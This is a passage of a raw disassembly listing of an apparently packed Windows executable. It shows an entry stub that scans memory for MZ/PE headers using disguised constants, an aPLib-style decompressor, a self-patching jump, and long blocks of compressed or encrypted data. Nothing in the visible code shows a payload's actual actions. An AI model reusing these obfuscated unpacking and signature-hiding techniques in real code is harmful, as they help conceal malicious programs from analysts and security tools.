eax, 0FFFFF000h xor edi, edi loc_4D304E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4D306D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4D3074 loc_4D306D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4D304E ; --------------------------------------------------------------------------- loc_4D3074: ; CODE XREF: start+57j mov edi, eax loc_4D3076: ; CODE XREF: start+1Bj jmp loc_4D3265 ; --------------------------------------------------------------------------- db 3 aJ2 db 'ǹj2',0Dh,0 dw 0CF03h db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_4D3086: ; CODE XREF: start+8j mov eax, offset loc_52D4F5 mov ecx, offset word_4D326A push eax push ecx call sub_4D311B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4D3265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4D311B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4D3127: ; CODE XREF: sub_4D311B:loc_4D313Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4D3132: ; CODE XREF: sub_4D311B+7Aj ; sub_4D311B+C3j ... add dl, dl jnz short loc_4D313B mov dl, [esi] inc esi adc dl, dl loc_4D313B: ; CODE XREF: sub_4D311B+19j jnb short loc_4D3127 add dl, dl jnz short loc_4D3146 mov dl, [esi] inc esi adc dl, dl loc_4D3146: ; CODE XREF: sub_4D311B+24j jnb short loc_4D3197 xor eax, eax add dl, dl jnz short loc_4D3153 mov dl, [esi] inc esi adc dl, dl loc_4D3153: ; CODE XREF: sub_4D311B+31j jnb loc_4D3238 add dl, dl jnz short loc_4D3162 mov dl, [esi] inc esi adc dl, dl loc_4D3162: ; CODE XREF: sub_4D311B+40j adc eax, eax add dl, dl jnz short loc_4D316D mov dl, [esi] inc esi adc dl, dl loc_4D316D: ; CODE XREF: sub_4D311B+4Bj adc eax, eax add dl, dl jnz short loc_4D3178 mov dl, [esi] inc esi adc dl, dl loc_4D3178: ; CODE XREF: sub_4D311B+56j adc eax, eax add dl, dl jnz short loc_4D3183 mov dl, [esi] inc esi adc dl, dl loc_4D3183: ; CODE XREF: sub_4D311B+61j adc eax, eax jz short loc_4D318D push edi sub edi, eax mov al, [edi] pop edi loc_4D318D: ; CODE XREF: sub_4D311B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4D3132 ; --------------------------------------------------------------------------- loc_4D3197: ; CODE XREF: sub_4D311B:loc_4D3146j mov eax, 1 loc_4D319C: ; CODE XREF: sub_4D311B:loc_4D31B0j add dl, dl jnz short loc_4D31A5 mov dl, [esi] inc esi adc dl, dl loc_4D31A5: ; CODE XREF: sub_4D311B+83j adc eax, eax add dl, dl jnz short loc_4D31B0 mov dl, [esi] inc esi adc dl, dl loc_4D31B0: ; CODE XREF: sub_4D311B+8Ej jb short loc_4D319C sub eax, ebx mov ebx, 1 jnz short loc_4D31E3 mov ecx, 1 loc_4D31C0: ; CODE XREF: sub_4D311B:loc_4D31D4j add dl, dl jnz short loc_4D31C9 mov dl, [esi] inc esi adc dl, dl loc_4D31C9: ; CODE XREF: sub_4D311B+A7j adc ecx, ecx add dl, dl jnz short loc_4D31D4 mov dl, [esi] inc esi adc dl, dl loc_4D31D4: ; CODE XREF: sub_4D311B+B2j jb short loc_4D31C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4D3132 ; --------------------------------------------------------------------------- loc_4D31E3: ; CODE XREF: sub_4D311B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4D31F1: ; CODE XREF: sub_4D311B:loc_4D3205j add dl, dl jnz short loc_4D31FA mov dl, [esi] inc esi adc dl, dl loc_4D31FA: ; CODE XREF: sub_4D311B+D8j adc ecx, ecx add dl, dl jnz short loc_4D3205 mov dl, [esi] inc esi adc dl, dl loc_4D3205: ; CODE XREF: sub_4D311B+E3j jb short loc_4D31F1 cmp eax, 7D00h jnb short loc_4D3228 cmp eax, 500h jb short loc_4D3223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4D3132 ; --------------------------------------------------------------------------- loc_4D3223: ; CODE XREF: sub_4D311B+F8j cmp eax, 7Fh ja short loc_4D322B loc_4D3228: ; CODE XREF: sub_4D311B+F1j add ecx, 2 loc_4D322B: ; CODE XREF: sub_4D311B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4D3132 ; --------------------------------------------------------------------------- loc_4D3238: ; CODE XREF: sub_4D311B:loc_4D3153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4D3259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4D3132 ; --------------------------------------------------------------------------- loc_4D3259: ; CODE XREF: sub_4D311B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4D311B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4D3265: ; CODE XREF: start:loc_4D3076j ; start+9Dj jmp loc_52D4F5 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4D326A dw 38E9h ; DATA XREF: start+77o dd 153335Ch, 1E33F2BFh, 0FCBF0BE1h, 6A848B24h, 9F01F2FEh dd 1A1FFC0h, 5C11C4FFh, 3DE7F23h, 74736552h, 41997261h dd 0E92EC570h, 3B84F378h, 1EE17122h, 7052A8BEh, 2FD58F03h dd 6EDE4CB5h, 0EE100392h, 656854F0h, 64696D0Eh, 0E8BB1061h dd 7B848B35h, 0B898C8EFh, 0C8BFAF42h, 0FB43B821h, 2D3430C1h dd 0FE15C231h, 0EE5C0153h, 0AEFE01D0h, 689B3622h, 18D747Dh dd 0DC221157h, 8BE37F23h, 60D490C5h, 5D10E1E8h, 6B00ED81h dd 89061B33h, 0C210D995h, 13DDB50Dh, 1A618521h, 55BD8300h dd 74C01441h, 0E88B390Ch, 93B8E212h, 70DEC21Dh, 0E7244438h dd 358593Eh, 0A3E8456Ah, 9A682903h, 0D2078374h, 250A80DFh dd 0F40A894Bh, 14E988D5h, 0BEEC0252h db 80h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 56h fsubr st, st(6) add bl, [edx-7Fh] jmp far ptr 0C7DAh:8B003459h ; --------------------------------------------------------------------------- db 45h dd 0D808D848h, 0C789400Eh, 0E67D8108h, 74331D80h, 0F908200Fh dd 1024C383h, 4312C3FFh, 361BE1EBh, 0A02661DCh, 0A004C2C9h dd 34C48146h, 7202FF7Ch, 8D20A249h, 0A8B8045h, 85C7085Dh dd 50502219h, 5D10A8Dh, 411888C3h, 810B4589h, 5D0610BDh dd 27E37514h, 47BA8DA1h, 80756064h, 0BB240E8Ah, 0B8805BF4h dd 785437ABh, 61D07ED3h, 754B080Fh, 0C3AFD8F7h, 4A464729h dd 0F9154623h, 61D11542h, 3AD0D08Ah, 0EEC5FEF0h, 4D05FC45h dd 0AD1E04EBh, 3E804646h, 0BAF72940h, 3034B784h, 7FEB0C7Dh dd 66F83EC8h, 0F042126Dh, 40F40E65h, 65C14A10h, 0D6A004F0h dd 0E01CD1F8h, 28B0C203h, 0E8ADB33h, 0FB80301Ch, 0A0A7266h dd 577391Eh, 3379EB9Fh, 0FB611422h, 660A3F0Dh, 0AF1E08B7h dd 560AC3A7h, 41181A10h, 460A0B72h, 24066F77h, 5D010C51h dd 39F4ECF0h, 28D7D83h, 9B0CB072h, 0B3A576C0h, 0F82620AAh dd 0B58D03E7h, 553BA800h, 54820FFCh, 0E0B0BD78h, 2838DFAAh dd 700870BAh, 0FC7054B9h, 35E820BDh, 470FFE01h, 0B9FA7549h dd 0EE6A6A60h, 310103BBh, 0EB82F10Eh, 8EEC02B6h, 37E08601h dd 6551071Ch, 2EFA36C1h, 78268AE7h, 322E99Fh, 1061FA59h dd 11DBD7C0h, 21381700h, 0C75093D0h, 5E4F011Ch, 0E5649995h dd 0EA76E818h, 702B1260h, 1881A956h, 0F2EBED6Eh, 66705745h dd 4B86E000h, 2C625FEAh, 0DB8C33C3h, 0E41CF182h, 0A25EBC67h dd 1034CBCCh, 4E390082h, 100F765Bh, 3D1F51B8h, 3B1DD104h dd 756E4698h, 0C02E7509h, 0E4EC48A9h, 6509065h, 0C5058468h dd 0F3968E05h, 0F0538548h, 29A8C204h, 51B718Ch, 760EE782h dd 2BFF61A8h, 80047781h, 0C1341D22h, 3233F984h, 3FBC2075h dd 0CC0AEE0Eh, 0E60230EFh, 33EC7141h, 0FFCC7F8Ch, 451940F2h dd 604AE9FDh, 52C46200h, 11254D8Ch, 0B1AA8210h, 0A15AAB99h dd 56141384h, 825EC1EBh, 8155FEEEh, 9FBC0C08h, 13B9548Ah dd 0A5972340h, 0AE90A43h, 0E0A04793h, 34AA59ACh, 670E917Fh dd 8E5CDA8Ch, 81FD808Dh, 0EBC05E2h, 1551E45Eh, 0A29185A0h dd 0CA0D0B43h, 4D178610h, 0C8E03A8Fh, 941DD626h, 0EA1B0262h dd 0BC128110h, 1349DB93h, 8AF923F6h, 0A82CFAD9h, 0EA905D16h dd 370A0FE6h, 64E9029Eh, 3F22F107h, 62614990h, 3A88E559h dd 77293012h, 0C873C481h, 3E4AB9Ah, 128C00D3h, 99F9E78Ah dd 0B2C15248h, 15EA59D4h, 4B323380h, 0ADE0119Eh, 0E3A09600h dd 0EFE6FD41h, 69AB0382h, 1A1C1F5h, 5DD243BFh, 8B103414h dd 0CEA1B39h, 92B7800Bh, 7BD10039h, 2BA28344h, 77A0BC3Ah dd 36FCBF67h, 42435E0h, 191DF860h, 0C021D60Eh, 1A0EDEC8h dd 8A102876h, 1F8F81Ah, 41D8E353h, 0E430E781h, 0B2005FF0h dd 0E6B638DEh, 90193D8Ah, 3AEF005Ch, 84D08C6Ch, 0BBF405ECh dd 0CC02423Eh, 70A4384Dh, 0C3BDDFA1h, 0D88A0D29h, 1738F603h dd 7F30C0F2h, 4D82411h, 0F1D300EBh, 460B5F96h, 0E7F94E0Fh dd 9B48E0A5h, 70ED25h, 0D40DE047h, 29A7563Dh, 88B1B300h dd 46306DFBh, 0E7F2032Bh, 5B0C2245h, 200060C6h, 5D76C382h dd 3C8EDh, 0D671FDE4h, 84D1DEDDh, 223E9D06h, 7315612h dd 85D0E410h, 36B8C040h, 0FF06C414h, 0ADC2A49Ah, 46190018h dd 0A6E8553Dh, 6E06B1DCh, 0B3FBBA09h, 6310FD78h, 36325C9h dd 7C0AF998h, 9F2C0008h, 92105BFDh, 87A9883h, 0EE703E00h dd 7884A5EAh, 1F350CD7h, 0B84958EBh, 0A465BD00h, 0A09B505Eh dd 6C40010h, 1FE28972h, 0D6750E64h, 0E90F0AE8h, 9897DF37h dd 3A5333C0h, 160F038Ch, 5018849Dh, 0BA986E69h, 28A7E807h dd 0E1B001C2h, 0F937C32h, 9720AC0Ch, 66815EEFh, 8044172Fh dd 630DC208h, 79DA450h, 82681205h, 2864E6B4h, 0FAF2B3Ah dd 40067E15h, 0C8A22D8Bh, 5E5D07C1h, 6C5768DAh, 7C003751h dd 0FF64FC85h, 64DB71Bh, 2361529h, 20C0384Ah, 0FF652889h dd 0A15CEC97h, 1C104644h, 2730DD1Eh, 3095A610h, 2EA82F25h dd 84052CE1h, 70C63131h, 0DA81E018h, 394A420h, 0FFD1C1CAh dd 80B768D9h, 0BA03926Dh, 29144618h, 10826630h, 710C32h dd 2ED3111Fh, 0EA0EBD0Bh, 2A98A065h, 0C83B4070h, 62DE1918h dd 38ECAE8h, 4E033202h, 810771E8h, 95D63ED3h, 0B2B740E0h dd 474B0F85h, 9FE35605h, 29009DE8h, 18B41CF7h, 280FBA7h dd 0F3208804h, 0E160A266h, 0DA489783h, 31683196h, 0C8E3B456h dd 5A7BA44h, 4E271519h, 72C40421h, 808C00D7h, 11F212CCh dd 0FF751Eh, 264A0811h, 26212273h, 0B4AC0Bh, 0B8E5EA93h dd 3906F31Bh, 64B5E9C8h, 0E2820DD8h, 83F03614h, 0E9464AE1h dd 0CF5100FCh, 0AE9B4C7Dh, 78C04922h, 0F726CA8Fh, 96C73130h dd 80FB75B1h, 6B6B131h, 0C02049h, 0BDD02859h, 0A8222638h dd 1D36E0A8h, 9CF82A3Dh, 16810DFCh, 6F6E9C7h, 8BCF9080h dd 350B96B6h, 0F749B412h, 0BA4D2800h, 5AB1FA1h, 0EF45258Ch dd 12E82728h, 20003754h, 0D39A31Bh, 0AB869721h, 0C1B4F871h dd 8648F96Fh, 1E19ADA4h, 4060B88Ch, 0EA8828Eh, 3924AC37h dd 73005012h, 46DD4D93h, 882A18DBh, 0E9306043h, 8B58524h dd 0BDB43283h, 7E303901h, 3B21B99Dh, 68492D38h, 234CF500h dd 0CF92DCEEh, 0CFD1628h, 4B56A600h, 36D3D2E1h, 0FEA530ACh dd 0C4B95BE9h, 0A8DDC11Bh, 0E62A8368h, 55C87E39h, 16E4DC65h dd 0E19C747h, 58D5609Fh, 0B964FE7Fh, 6A07E3C0h, 0E8FE91Dh dd 0A651D095h, 5C112801h, 5E1AE8DBh, 0DDAD0281h, 33928615h dd 0E8D5F481h, 27F050A3h, 0BA00A87Ah, 0F44BAECBh, 48F782Bh dd 0AFDAB3B8h, 1145C76Bh, 401069B4h, 0EE561588h, 0D348D560h dd 8227F146h, 0CA40288Fh, 208EC9E3h, 8429A9C9h, 3143A84Ch dd 79006D7Dh, 1F9BCA65h, 0CDA7231Bh, 0F04932C8h, 4705F8D4h dd 6E942A81h, 7821D00Ch, 9D27402Eh, 81A8E848h, 0CCA0E622h dd 248EB7F4h, 4038F0F6h, 25CD82A4h, 220040D6h, 923D6902h dd 2F69C70Bh, 80B6D433h, 4867FF98h, 5CA49928h, 207C1F01h dd 4C55E9CAh, 81A35080h, 0A8F1726Dh, 0B75A6C00h, 9E10C0FFh dd 3B1703C2h, 42F59D2Ch, 0DDC9F688h, 3281D60Ah, 0BF009BCBh dd 0EB374614h, 7B390E1Bh, 0A69E4849h, 3E510E8Bh, 0EE9F3AFEh dd 0BCA90010h, 0F1306288h, 0D37B6A00h, 0C2E33269h, 7F8C003Ah dd 1B90B834h, 0C11E6E65h, 0C040CD96h, 6BF1EB44h, 2C950797h dd 423072BFh, 80826FDCh, 988EF6E8h, 7B294760h, 849A9110h dd 4F8E2110h, 182A7C14h, 4993EC3Ah, 952804B8h, 2B240151h dd 810487FCh, 10C22A24h, 4975B436h, 0DB0574F4h, 1CEC46BBh dd 32B0910h, 4D214C20h, 8000A178h, 82341BD6h, 1436CA2Ah dd 9503ED7Ch, 80C84839h, 46E2C4C0h, 0BC03EF39h, 0ADE329BEh dd 0E6219052h, 0AE32021Eh, 7D30CA9Fh, 0A9031CC6h, 2369F46Ch dd 0BE21F096h, 7CDA44C1h, 4600EC91h, 972E0AB2h, 1EF10070h dd 54B6D318h, 20C10E39h, 2AAA361Bh, 0A1A48C34h, 0F821F5C5h dd 0E48843EAh, 984EACCCh, 0C0292020h, 0DCED8217h, 0A0DB9A03h dd 4F28096Ch, 0D420F375h, 0EF92D556h, 2408FB00h, 0A45D1CFCh dd 457B0057h, 0DD0BD18Eh, 2124BA34h, 0A8975432h, 9C13EA00h dd 9368CDh, 670243E8h, 0D46277AFh, 5050764Ch, 0A34DAC37h dd 69800098h, 2D691BAh, 2161412Dh, 0A9982034h, 0F13FA8C0h dd 0C274F344h, 207B2A99h, 3911A0CBh, 46137D40h, 7ACC33F3h dd 480AD9B6h, 28AD51B9h dd 819CEC88h, 0FB4B79CFh, 0BF46EC7Eh, 0F7A02200h, 0B13702D4h dd 0AD48A067h, 0C4E281B5h, 58C03A0Ch, 0BA12B282h, 0C6B0A0BEh dd 0F160A001h, 574D40EDh, 1719AE63h, 43211CD0h, 0BA831E8Ch dd 90058BFh, 82189C6h, 3C054D1Dh, 3F26F1C4h, 107AD444h dd 0FCCC9094h, 0CFCA0069h, 35A122BAh, 130394BFh, 49673905h dd 8CDC4C3h, 44806820h, 50E57570h, 0CAA7D390h, 88E38500h dd 0A0530927h, 0FAE94828h, 0A9693860h, 0AA289701h, 0FD4460B5h dd 7FF4008Fh, 39BF9AC8h, 19C0D116h, 4DA888ACh, 2A0A00F0h dd 6821AA2Dh, 820111F7h, 16968D85h, 14ECDB43h, 52A07C51h dd 5817D875h, 622D00C8h, 81654FABh, 27C97A12h, 2B1AE444h dd 6533125Ch, 52280CD4h, 0F8DDC829h, 0F234F620h, 0F8F048EEh dd 165E1509h, 7C33CCA0h, 0A4517539h, 1C1C188h, 37D43694h dd 0CEE0005Fh, 147FF846h, 18156806h, 0A09AE7h, 212EADC4h dd 2B93D6h, 484A25F9h, 82DCDDF6h, 88661C30h, 317E3517h dd 6D70FD0Eh, 0BD2040E8h, 15017AAEh, 0A10A21D4h, 687066CBh dd 3AA70B9h, 0DB2A68D9h, 487C9038h, 1973F137h, 1445B003h dd 9CE846F9h, 882B0281h, 0B9309A95h, 7B1E4021h, 0F0452526h dd 8323C21h, 0C82182B8h, 805A4E19h, 0E84BD994h, 1239C09Ch dd 0C4FB1B88h, 0CB762400h, 4845AE2Dh, 0B81102F5h, 0AF596EB0h dd 502104E0h, 40B62280h, 81000201h, 0C6A2FC19h, 0DDDBA56h dd 0A321BF4Ch, 0C1CAF021h, 39644532h, 0E3F12032h, 0DB731D31h dd 4E965E03h, 9A78705Bh, 0B98E6136h, 0E41D8160h, 9EA1187Bh dd 0B5AEC037h, 2758180h, 0FE41E2F9h, 8C68994Bh, 0A906E939h dd 5B221E90h, 2D3B0369h, 0FB8799D9h, 826447A0h, 7C400F00h dd 0CBF02A05h, 0B05F01F6h, 0AE150BC3h, 0F382806h, 69793A8h dd 1248F686h, 22948132h, 12212DA8h, 64E869EDh, 87F850F4h dd 5FC4AE3h, 9CB4AE4h, 28913FD4h, 4024E221h, 0E2821CD0h dd 31249444h, 20AF1E10h, 0B7447BC0h, 207090A2h, 5817A829h dd 584F1F0Ah, 7C591180h, 74A0D320h, 8090F287h, 702AA8A0h dd 60E86840h, 23A1316Fh, 1B02A842h, 754C56E9h, 0F1A08006h dd 0CC34C0ADh, 1978C648h, 0A81CB1CAh, 438C245h, 0E9C488C9h dd 64422ED2h, 0E9F582Ah, 21EC1C2h, 7D3F5064h, 4CA8C03Bh dd 7860B1ADh, 323E699Ch, 0ED609707h, 22004DD6h, 18F63A98h dd 405631B8h, 75FD2A86h, 81C445A0h, 427A110h, 0BD8498h dd 619CD389h, 3728041h, 815F023Ah, 65ACC10Bh, 0F98864DBh dd 243E3860h, 0D080491h, 0FD880535h, 4F855CEh, 34BF0862h dd 3523D8E0h, 4DE7C0A0h, 7B5EFD09h, 88E38C2Ah, 0C48249FCh dd 511E0C59h, 0A975E56h, 5307D67h, 42CE7C37h, 793B1BD8h dd 88C0384Ah, 585D9218h, 86C2980h, 9134220Ch, 7AB41B2Dh dd 7C740EFh, 86B8082Ah, 0E9827B5Fh, 0F3AA0C91h, 0AE7909ADh dd 0A3B31606h, 0A321E582h, 82C8DF3Ch, 65F3216Dh, 580518ABh dd 0A4E0404Bh, 0FF66F544h, 71DF2A31h, 82269E9h, 0BB0AF26h dd 38837B56h, 0C8C27C72h, 19AE98C0h, 0DEF1F475h, 41218484h dd 0D575C28Fh, 7C7CC34h, 0D13D5DEDh, 0E392E02Eh, 44583048h dd 42F61DE0h, 85F8DC94h, 4C021182h, 48A81723h, 627589B8h dd 34CFD165h, 357BCC70h, 0C60007E8h, 0AB7CE6B3h, 1B27EE3Fh dd 0C16CB9E9h, 0FA3039A1h, 0F9146880h, 0DC5CD2EBh, 61A33358h dd 2B101503h, 0CB0480FCh, 0C35FED98h, 4595A41Ch, 6CC0FDA4h dd 6D472B28h, 0AF6FA3C2h, 8EAA4869h, 40CF2859h, 0A6D0EFF9h dd 44F01224h, 815420E9h, 9C0A3F5Bh, 40C15C39h, 2C81F678h dd 432CF246h, 1BF354B8h, 6FC9A1C0h, 0BC84E82Ch, 25FDC94Eh dd 3089A54Ch, 0AC3CB5D2h, 0A49715E0h, 6BB32A09h, 7C313C10h dd 34314268h, 0F0084256h, 181B0Fh, 8E82EC56h, 3095E8A3h dd 6955D0C0h, 7F144821h, 0CEC91429h, 0C02B486Ch, 23D562BCh dd 83300C34h, 406032E0h, 64B2FAB8h, 78E32C22h, 382E6134h dd 8CB3A997h, 0A90EEF61h, 0B94484F1h, 421A06F2h, 7123EF46h dd 36EA400h, 2AB87B58h, 0CB130276h, 0C38B7517h, 70A02462h dd 0E9814243h, 2D316C70h, 0DD8281CEh, 5FF16031h, 0A4AB204Ch dd 392219BCh, 245630F7h, 8C1379Ch, 6EC38F0Bh, 492878F0h dd 0E2271095h, 0F41FE080h, 770071B6h, 0E70F5887h, 0A2BDA1h dd 95347A15h, 2F180D0Ah, 0AD5A1700h, 0FBC242C1h, 0BB3D00F7h dd 0D8D4E0C0h, 0D20074B6h, 51176648h, 0B1CBB0h, 5835A41Eh dd 137ABA23h, 0B36B670Fh, 7E7408Dh, 18BB36AAh, 41A9DEC2h dd 0AB004D80h, 0CBC9FF42h, 0FA55F2A7h, 0CFEF00C7h, 1ADB2F23h dd 35009158h, 3CF838D2h, 0E2DD0A29h, 1DB70009h, 42AA5C7Eh dd 62E3C9E5h, 43FA480h, 78F854EFh, 0B45EC904h, 0D880FF3Ch dd 0E9023B2h, 0F507C7E0h, 8D672E8Fh, 0E72720F4h, 9300AA39h dd 0A6DE0DC6h, 6720A494h, 0FF1640D2h, 0ADA31040h, 0C800D881h dd 0DF75D01Ah, 0B386CAh, 65080299h, 11E8359Ah, 0B0AD3908h dd 0B25C0FB6h, 0FC3DEA28h, 52377800h, 3A1FD023h, 665A00ACh dd 39BEE405h, 0C23E48E6h, 80D638BDh, 6EB421A4h, 1F43DB2h dd 0F0B0BBDEh, 30543777h, 9491C138h, 7E6ED075h, 1BAE8E1Fh dd 40CEB14Eh, 52D8A6ADh, 18D0001Ch, 0A81ACA36h, 0E4002791h dd 0B83BE3FBh, 0F225C0h, 0D27BA612h, 3E0FB565h, 0A109CE00h dd 0C732901Eh, 6C0500E0h, 0AB53CB25h, 1200565Ah, 0E4869DECh dd 1EE230Fh, 0C87BA594h, 800CAC5Bh, 0EFA2BF40h, 50D8A4h dd 3217F3E0h, 4C5F8DA6h, 3FE42B0Eh db 0AAh, 40h word_4D4152 dw 0FE8h ; DATA XREF: ___:off_42E644o dd 12A934h, 5C832DA3h, 0AB3E4258h, 82A5BD3Fh, 0D650E6A4h dd 578CCD29h, 79F0F7E7h, 0C04D77h, 0BCB0F417h, 0E57E19B2h dd 0D2D69401h, 86A82D14h, 8EBBF8h, 89F83EE9h, 0A9E17EC0h dd 6FB70900h, 0D0B58A77h, 0A579F9h, 0DDAE1DAAh, 250D1454h dd 6CB07500h, 0BB3F4C30h, 8DE80090h, 0D6E0E607h, 2D00A798h dd 0DAD5ED3h, 760C9AEBh, 2E74035Dh, 16D00795h, 5983E1A8h dd 394C3Ch, 0E43EE8FBh, 1ADE2BFh, 0E02DA8D8h, 0F043B460h dd 0A50010A1h, 52B042F2h, 574BB16h, 6671DE76h, 0F3AC9097h dd 0C0AC635h, 88331423h, 0FDDF0448h, 0F3BE5F00h, 7E6516Bh dd 0C30384F5h, 3302F13Fh, 0B0344A52h, 0F578EBh, 2126196h dd 36C3DCAh, 0E1081372h, 50C1C389h, 84FD02E8h, 465E9518h dd 0C602F0ECh, 55DE21CAh, 81053CF8h, 9BE666Bh, 61E11C00h dd 0BC8A263h, 80AE06FAh, 2CD2ECC2h, 63593C00h, 24930C1h dd 19CC6017h, 1C181635h, 0FA420F0Fh, 89A08045h, 0DBF7CFh dd 611EB663h, 6ACAFE13h, 9082A309h, 0E490D293h, 35B4172Dh dd 0D074C7DAh, 7B63115Ch, 48B98127h, 7D55F1DCh, 2DA10110h dd 0BA4B92C1h, 5E1C4C2Ch, 0F06D5A81h, 6543300h, 67FF6284h dd 50BEA4EEh, 72E99B06h, 96860059h, 9F15146Ch, 0ED37FD4Dh dd 217C08E6h, 6CBE0229h, 0A78B175Ch, 0CD80D0D9h, 64ED8E34h dd 78FF76F6h, 9540FB8h, 0AB076504h, 41EABE80h, 60BA44B4h dd 23A66345h, 0CF115AC8h, 635D4000h, 0B873FDDBh, 0C1AC361Ch dd 9044E833h, 14159980h, 0ECDABA7Eh, 4571A040h, 0D3CAC3FAh dd 0F88178F8h, 60003F6Eh, 9B42E32h, 0F714A9FCh, 0A4A1908h dd 87CD44C0h, 0CF9C03E6h, 0AE1AEE37h, 0EB8FCFCh, 0D4560188h dd 196280B0h, 9536BAB3h, 939980Fh, 2218065h, 2A9AB311h dd 0E8290074h, 24D9F5FDh, 3C4A1433h, 26CEA481h, 9DCC0804h dd 1A6CCCC0h, 22CF4615h, 0B4330098h, 0AE74E96Ch, 0D200BB8Bh dd 0F09F84BFh, 46638Dh, 0CADF50A7h, 1371B9E0h, 98B45603h dd 0F3DA971Bh, 9081519h, 0E500B8FEh, 2AD05C77h, 8E04D2EBh dd 0B1BA441Ah, 9C80B8FCh, 4ED919D3h, 6A54AF1Ch, 55C0C85Fh dd 6CE44952h, 0D0AD13F1h, 0D3A4F485h, 11626405h, 30F48297h dd 96893F78h, 72C86000h, 65544D03h, 0D04D2BE9h, 0B4024132h dd 0B3173058h, 6D36D011h, 0EC806388h, 76E6B30Eh, 912501EAh dd 0C16F2B50h, 0AA0020DCh, 2307188h, 35283ED8h, 847E854Ch dd 9FD25600h, 76CCC7CAh, 0B688A809h, 96850017h, 0C3A22265h dd 247C0F3Eh, 83F6263Dh, 0BAE988E6h, 0B0C9648Eh, 0B316605Fh dd 753623CFh, 0E9076711h, 1DB30Dh, 0F1FE76F6h, 6CA6AC0Fh dd 2641DE5Fh, 0E5FD4CC1h, 381BA080h, 0A19ABD2Ch, 189110F8h dd 0A70F6607h, 0F5814550h, 0AA7225DCh, 34F84861h, 9E00EA88h dd 5223B0C2h, 257E1BDFh, 0A4C848D6h, 8482BEF1h, 0D160703Ch dd 15231B6Ch, 9911B7h, 0CD6CB92Ch, 7584830Ah, 3C9C00DCh dd 0B1341B11h, 8A2421C8h, 0A109A45Bh, 0BFFC04AFh, 99635E60h dd 332C810h, 4180DBC8h, 0D1E56356h, 0DFFC0712h, 0C018DCC4h dd 89AE024Ch, 9F469492h, 186CD202h, 8531BF15h, 6CBA2D10h dd 0CE1AE200h, 0C4DC8A32h, 75100084h, 0F5AEA4F2h, 0C10E2A67h dd 1AAC0B5Ah, 440C6789h, 0DFCC60DAh, 3DBA0019h, 2EA744C9h dd 5B04A1F2h, 4B1843AFh, 4A0010E9h, 0D90B3E84h, 9200051Dh dd 8948772Dh, 1E418A4Bh, 2171CCh, 0D4CB6E7Bh, 90C8DBC4h dd 6344C0B9h, 6246C8A7h, 4300D522h, 349F635Ch, 18C8EB3h dd 2EB5649h, 3099B9C8h, 22306843h, 696A51A9h, 3A26388Ch dd 1A35F384h, 0AF1480D4h, 0A19FE946h, 20DA7CDCh, 8240013Eh dd 0EA312D7Eh, 1B830476h, 28263E56h, 9547A38h, 0AA35F2F9h dd 46F01CD8h, 5048EAF1h, 28272AE2h, 0CEF44C85h, 110D248h dd 7EE0CBA2h, 9E354E2h, 0D9E9CA28h, 20C8CF8h, 913D7C7Bh dd 28244CA6h, 74111510h, 1396AE22h, 0A0357C37h, 3203A804h dd 3BD881C1h, 0C821E26Bh, 0F89C6358h, 1DB09312h, 814B4EA5h dd 1166DD88h, 9CE43A21h, 0E2062B80h, 566E7D8Eh, 983B2139h dd 0C47947EEh, 0C0F34FC9h, 85C1CAD0h, 0A1B0FB00h, 9FC25C11h dd 0D13D1B46h, 2E820899h, 5E1B9C90h, 201FA1E6h, 0FD01C944h dd 3CC53792h, 4329CC1h, 0EE30FDF2h, 0C7171D42h, 84886621h dd 0E8D07C30h, 0E8D04CD0h, 6E008CD5h, 8D23BE09h, 0B149620h dd 8219C85Bh, 0AA4CF070h, 0E0570024h, 0E8E9C4B4h, 0CD74C91h dd 600CC114h, 61A2A38Eh, 0B4B19581h, 9AEE110Bh, 280AE0D7h dd 0F4BD0F7Dh, 0B3A005BFh, 0FF465C74h, 0A08C2A4Fh, 0F6A00A31h dd 5E949BDDh, 86117Bh, 300912DFh, 45FE6C19h, 8095ED4Bh dd 0BB131580h, 0F93702D7h, 0E3AAAE14h, 4C57F480h, 8282FC1Dh dd 19CF6EA0h, 0FC00D22Ah, 808D88DAh, 687D7920h, 409544Ah dd 996C843Ch, 166CD060h, 11AF1523h, 0B800739Eh, 25C69D6Ch dd 329748B2h, 23B01C58h, 0E8B8AF20h, 0F77905F5h, 0C2D2BC59h dd 5CDCCE04h, 0C33F3383h, 86FDF88Dh, 0F5573AC6h, 0FEFF6084h dd 8F9E7h, 340FE404h, 195A2E79h, 0A8CCBA80h, 8AF5109Ah dd 356200CDh, 4191BEFCh, 1F76DF42h, 361639h, 